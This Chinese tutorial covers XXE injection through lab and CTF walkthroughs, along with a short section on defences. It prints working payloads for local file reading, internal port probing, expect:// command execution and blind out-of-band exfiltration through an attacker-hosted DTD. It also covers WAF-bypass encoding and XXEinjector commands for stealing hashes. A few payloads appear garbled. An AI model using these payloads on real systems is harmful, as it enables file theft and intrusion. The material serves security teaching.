思維導圖
知識點
XML被設計為傳輸和存儲數據,XML文檔結構包括XML聲明、DTD文檔類型定義(可選)、文檔元素,其焦點是數據的內容,其把數據從HTML分離,是獨立於軟件和硬件的信息傳輸工具。
XXE漏洞全稱XML External Entity Injection,即XML外部實體注入漏洞,XXE漏洞發生在應用程序解析XML輸入時,沒有禁止外部實體的加載,導致可加載惡意外部文件,造成文件讀取、命令執行、內網端口掃描、攻擊內網網站等危害。
XML與HTML對比
- XML被設計為傳輸和存儲數據,其焦點是數據的內容。
- HTML被設計用來顯示數據,其焦點是數據的外觀。
- HTML旨在顯示信息,而XML旨在傳輸信息。
Xml典型代碼:
<!--XML聲明--> <?xml version="1.0"?> <!--文檔類型定義--> <!DOCTYPE note [ <!--定義此文檔是 note 類型的文檔--> <!ELEMENT note (to,from,heading,body)> <!--定義note元素有四個元素--> <!ELEMENT to (#PCDATA)> <!--定義to元素為”#PCDATA”類型--> <!ELEMENT from (#PCDATA)> <!--定義from元素為”#PCDATA”類型--> <!ELEMENT head (#PCDATA)> <!--定義head元素為”#PCDATA”類型--> <!ELEMENT body (#PCDATA)> <!--定義body元素為”#PCDATA”類型--> ]]]> <!--文檔元素--> <note> <to>Dave</to> <from>Tom</from> <head>Reminder</head> <body>You are a good man</body> </note>
DTD
文檔類型定義(DTD)可定義合法的XML文檔構建模塊
它使用一系列合法的元素來定義文檔的結構
DTD可被成行地聲明於XML文檔中,也可作為一個外部引用
(1)內部的DOCTYPE聲明
<!DOCTYPE 根元素 [元素聲明]>
(2)外部文檔聲明
<!DOCTYPE 根元素 SYSTEM "文件名">
DTD實體
(1)內部實體聲明
<!ENTITY 實體名稱 "實體的值">
(2)外部實體聲明
<!ENTITY 實體名稱 SYSTEM "URI">
(3)參數實體聲明
<!ENTITY %實體名稱 "實體的值">
<!ENTITY %實體名稱 SYSTEM "URI">
XXE漏洞的修復與防御方案-PHP,Java,Python-過濾及禁用
方案1-禁用外部實體
PHP: libxml_disable_entity_loader(true); Java: DocumentBuilderFactory dbf=DocumentBuilderFactory.newInstance(); dbf.setExpandEntityReferences(false); Python: from lxml import etree xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
方案2-過濾用戶提交的XML數據
過濾關鍵字:<!DOCTYPE和<!ENTITY,或者SYSTEM和PUBLIC
補充-各腳本支持的協議
本課重點:
- 案例1:pikachu靶場XML數據傳輸測試-回顯,玩法,協議,引入
- 案例2:xxe-lab靶場登錄框xml數據傳輸測試-檢測發現
- 案例3:CTF-Jarvis-OJ-Web-XXE安全真題復現-數據請求格式
- 案例4:CTF-Vulnhub-XXE安全真題復現-檢測,利用,拓展,實戰
- 案例5:xxe安全漏洞自動化注射腳本工具-XXEinjector(Ruby)
案例1:pikachu靶場XML數據傳輸測試-回顯,玩法,協議,引入
存在xxe的情況下:
玩法1-讀文件
如下腳本,將其復制粘貼,提交,成功讀取pikachu服務器某文件內容
<?xml version = "1.0"?> <!DOCTYPE ANY [ <!ENTITY xxe SYSTEM "file:///d://test.txt"> ]> <x>&xxe;</x> //xxe為變量,讀取test.txt //打印出來 //用file協議讀指定路徑的文件
顯示結果:
玩法2-內網探針或攻擊內網應用(觸發漏洞地址)
如下腳本,將其復制粘貼,提交,返回為空。
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY rabbit SYSTEM "http://192.168.0.103:8081/index.txt" > ]> <x>&rabbit;</x>
返回為空,說明內網中192.168.0.103服務器上,index.txt文件是存在的,也可以說8081端口是開放的,因此這里這個xxe漏洞,可以實現內網探針。
為什么這里返回為空,說明index.txt文件是存在的?因為如下測試顯示,改為不存在的1132323.txt后,服務器返回一行報錯信息。
玩法3-RCE
讀CASE是在安裝expect擴展的PHP環境里執行系統命令
<?xml version="1.0" ?> <!DOCTYPE ANY [ <!ENTITY xxe SYSTEM "expect://id"> ]> <x>&xxe;</x>
由於本地環境未安裝expect擴展,因此該玩法未測試。
玩法4-引入外部實體dtd
<?xml version="1.0" ?> <!DOCTYPE test [ <!ENTITY % file SYSTEM "http://127.0.0.1:8081/evil2.dtd"> %file; ]> <x>&send;</x> //引入外部實體dtd,dtd就是xml的后綴,識別為xml格式 //如果設置了禁止外部實體引用,將會失效
可以在遠程攻擊者服務器(127.0.0.1)上保存的evil2.dtd寫上:
<!ENTITY send SYSTEM "file:///d:/test.txt">
引入外部實體dtd,核心代碼在drd文件中,一方面是為了繞過一些服務器的限制,另一方面是為了自定義一些攻擊代碼,類似於遠程文件包含漏洞。如下圖,成功回顯服務器上文件內容。
玩法5-無回顯-讀取文件
pikachu注釋掉回顯代碼,構造無回顯的環境
如下腳本
<?xml version="1.0"?> <!DOCTYPE test [ <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=d:/test.txt"> <!ENTITY % dtd SYSTEM "http://192.168.0.103:8081/test.dtd"> %dtd; %send; ]>
本地192.168.0.103上構造test.dtd:
<!ENTITY % payload "<!ENTITY % send SYSTEM 'http://192.168.0.103:8081/?data=%file;'>" > %payload;
此時把腳本復制粘貼,提交,服務器不再返回任何信息
本地開啟日志,查找日志就可以看到test.txt數據了。
將數據base64解碼,得到原始數據。
玩法6-協議-讀文件(繞過)
1、ENTITY``SYSTEM``file等關鍵詞被過濾-->使用編碼方式繞過:UTF-16BE
cat payload.xml | iconv -f utf-8 -t utf-16be > payload.8-16be.xml
2、http被過濾-->可以使用其他協議繞過,比如data://協議、file://協議加文件上傳、php://filter協議加文件上傳
<?xml version = "1.0"?> <!DOCTYPE ANY [ <!ENTITY f SYSTEM "php://filter/read=convert.base64-encode/resource=xxe.php"> ]> <x>&f;</x>
3、繞過WAF保護的XXE-->
- 方法1:文檔中的額外空格
- 方法2:格式無效
- 方法3:外來編碼(Exotic encodings)
- 方法4:在一個文檔中使用兩種類型的編碼
參考:
https://www.cnblogs.com/20175211lyz/p/11413335.html
http://www.cl4y.top/xxe%e7%ac%94%e8%ae%b0/
https://lab.wallarm.com/xxe-that-can-bypass-waf-protection-98f679452ce0/
案例2:xxe-lab靶場登錄框xml數據傳輸測試-檢測發現
如何檢測發現xxe漏洞?
- 1.提交的數據包含xml格式如: <forgot><username>admin</username></forgot>
- 2.請求頭中如:Content-Type: text/xml或Content-Type: application/xml
- 3.盲猜:更改content-type值application/xml看返回
靶場下載地址:https://github.com/c0ny1/xxe-lab
以xxe-lab靶場登錄框為例,使用burp抓包時,可以右擊send to Spider自動爬行網站,所有的網站數據包會在Proxy-History模塊顯示。
此時可以全局搜索xml關鍵字
也可以查看MIME type類型是否為XML,MIME type類型為XML對應Content-Type: text/xml或Content-Type: application/xml,對應內容形式如下:<user><username>2</username><password>2</password></user>
找到xxe漏洞點后,使用如下腳本攻擊測試,成功讀取到服務器上文件內容。
<?xml version = "1.0"?> <!DOCTYPE Mikasa [ <!ENTITY test SYSTEM "file:///d:/test.txt"> ]> <user><username>&test;</username><password>Mikasa</password></user>
顯示如下
案例3:CTF-Jarvis-OJ-Web-XXE安全真題復現-數據請求格式
真題地址:http://web.jarvisoj.com:9882/
抓包如下,數據包使用的是json格式,此處使用盲猜的方法檢測是否存在xxe漏洞。
更改請求數據格式為:application/xml,使用以下腳本,成功讀取服務器文件passwd內容。
<?xml version = "1.0"?> <!DOCTYPE ANY [ <!ENTITY f SYSTEM "file:///etc/passwd"> ]> <x>&f;</x>
案例4:CTF-Vulnhub-XXE安全真題復現-檢測,利用,拓展,實戰
很多靶場鏡像的網站:https://vulnhub.com
本案例靶場下載地址:https://download.vulnhub.com/xxe/XXE.zip
利用過程:掃描IP及端口-->掃描探測目錄-->抓包探針xxe安全-->利用xxe讀取源碼-->flag指向文件-->base32 64解密-->php運行-->flag
<1>在本機虛擬機環境安裝靶場,靶場安裝后,由於我們不知道用戶名密碼,無法進入(一般鏡像環境不會告訴你用戶名密碼,防止你進入后直接查看后台源碼);
<2>同時在本機虛擬機環境安裝安裝忍者系統,打開忍者系統,查看自身IP為192.168.64.135;
<3>在忍者系統掃描同網段:nmap -sS 192.168.64.1/24,成功得到靶機的IP及開放端口。
<4>在瀏覽器打開如下
<5>由於這是一個web網站,我們可以嘗試掃描web目錄,或者直接查看robots.txt找到關鍵目錄。
<6>進入/xxe/目錄,發現是個登錄框。
<7>嘗試抓包查看,發現登錄參數采用xml格式傳輸,猜測這里有xxe漏洞。
<8>嘗試攻擊一下,利用以下腳本讀取xxe.php源碼。
<?xml version="1.0" ?> <!DOCTYPE r [ <!ENTITY r ANY > <!ENTITY ap SYSTEM "php://filter/read=convert.base64-decode/resource=xxe.php"> %a; ]> <root><name>≈</name><password>hj</password></root>
成功回顯
PS:這里為什么使用php://filter協議而不是使用file://協議呢?原因是php://filter協議讀取文件時,不需要文件的絕對地址,而file://協議需要文件的絕對地址。
<9>將xxe.php改為admin.php,成功讀取admin.php源碼
<10>base64解碼源代碼后,分析,成功找到用戶名密碼。
<11>密碼是md5散列后的值,將其解密后得到原始密碼為admin@123,使用用戶名密碼登錄網站。
<12>登錄成功后,顯示如下頁面,點擊flag。
<13>點擊flag后,跳轉到flagmeout.php頁面,但是顯示無法打開該頁面。
<14>再次嘗試讀取flagmeout.php頁面源代碼。
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ENTITY r ANY >
<!ENTITY ap SYSTEM "php://filter/read=convert.base64-decode/resource=./flagmeout.php">
%a;
]>
<root><name>≈</name><password>hj</password></root>
這里由於flagmeout.php文件在根目錄下,而不是在/xxe/目錄下,因此讀取時需要寫為./flagmeout.php。
成功回顯
<15>base64解碼源代碼,找到加密后的flag。
<16>分析flag,發現是base32編碼,將其在線解碼,得到字符串如下。
<17>該字符串是base64編碼,再將其base64解碼,成功得到flag地址:/etc/.flag.php
<18>繼續使用腳本讀取該文件
<19>base64解碼如下,分析,這是一段php代碼。
<20>將這段PHP代碼在線運行一下,成功得到flag。
案例5:xxe安全漏洞自動化注射腳本工具-XXEinjector(Ruby)
XXEinjector是一款基於Ruby的XXE注入工具,它可以使用多種直接或間接帶外方法來檢索文件。其中,目錄枚舉功能只對Java應用程序有效,而暴力破解攻擊需要使用到其他應用程序。
運行前提:Ruby運行環境,建議在kali環境下運行。
基本參數詳解
--host 必填項– 用於建立反向鏈接的IP地址。(--host=192.168.0.2) --file 必填項- 包含有效HTTP請求的XML文件。(--file=/tmp/req.txt) --path 必填項-是否需要枚舉目錄 – 枚舉路徑。(--path=/etc) --brute 必填項-是否需要爆破文件 -爆破文件的路徑。(--brute=/tmp/brute.txt) --logger 記錄輸出結果。 --rhost 遠程主機IP或域名地址。(--rhost=192.168.0.3) --rport 遠程主機的TCP端口信息。(--rport=8080) --phpfilter 在發送消息之前使用PHP過濾器對目標文件進行Base64編碼。 --netdoc 使用netdoc協議。(Java). --enumports 枚舉用於反向鏈接的未過濾端口。(--enumports=21,22,80,443,445) --hashes 竊取運行當前應用程序用戶的Windows哈希。 --expect 使用PHP expect擴展執行任意系統命令。(--expect=ls) --upload 使用Java jar向臨時目錄上傳文件。(--upload=/tmp/upload.txt) --xslt XSLT注入測試。 --ssl 使用SSL。 --proxy 使用代理。(--proxy=127.0.0.1:8080) --httpport Set 自定義HTTP端口。(--httpport=80) --ftpport 設置自定義FTP端口。(--ftpport=21) --gopherport 設置自定義gopher端口。(--gopherport=70) --jarport 設置自定義文件上傳端口。(--jarport=1337) --xsltport 設置自定義用於XSLT注入測試的端口。(--xsltport=1337) --test 該模式可用於測試請求的有效。 --urlencode URL編碼,默認為URI。 --output 爆破攻擊結果輸出和日志信息。(--output=/tmp/out.txt) --timeout 設置接收文件/目錄內容的Timeout。(--timeout=20) --contimeout 設置與服務器斷開連接的,防止DoS出現。(--contimeout=20) --fast 跳過枚舉詢問,有可能出現結果假陽性。 --verbose 顯示verbose信息。
XXEinjector使用樣例
枚舉HTTPS應用程序中的/etc目錄: ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/req.txt –ssl 使用gopher(OOB方法)枚舉/etc目錄: ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/req.txt --oob=gopher 二次漏洞利用: ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/vulnreq.txt--2ndfile=/tmp/2ndreq.txt 使用HTTP帶外方法和netdoc協議對文件進行爆破攻擊: ruby XXEinjector.rb --host=192.168.0.2 --brute=/tmp/filenames.txt--file=/tmp/req.txt --oob=http –netdoc 通過直接性漏洞利用方式進行資源枚舉: ruby XXEinjector.rb --file=/tmp/req.txt --path=/etc --direct=UNIQUEMARK 枚舉未過濾的端口: ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --enumports=all 竊取Windows哈希: ruby XXEinjector.rb--host=192.168.0.2 --file=/tmp/req.txt –hashes 使用Java jar上傳文件: ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt--upload=/tmp/uploadfile.pdf 使用PHP expect執行系統指令: ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --oob=http --phpfilter--expect=ls 測試XSLT注入: ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt –xslt 記錄請求信息: ruby XXEinjector.rb --logger --oob=http--output=/tmp/out.txt
XXEinjector下載地址:https://github.com/enjoiz/XXEinjector
演示:下載,進入目錄,執行命令(此處環境為忍者系統)
忍者系統還集成了很多xxe的payload,可以供我們直接利用。
參考:https://www.cnblogs.com/bmjoker/p/9614990.html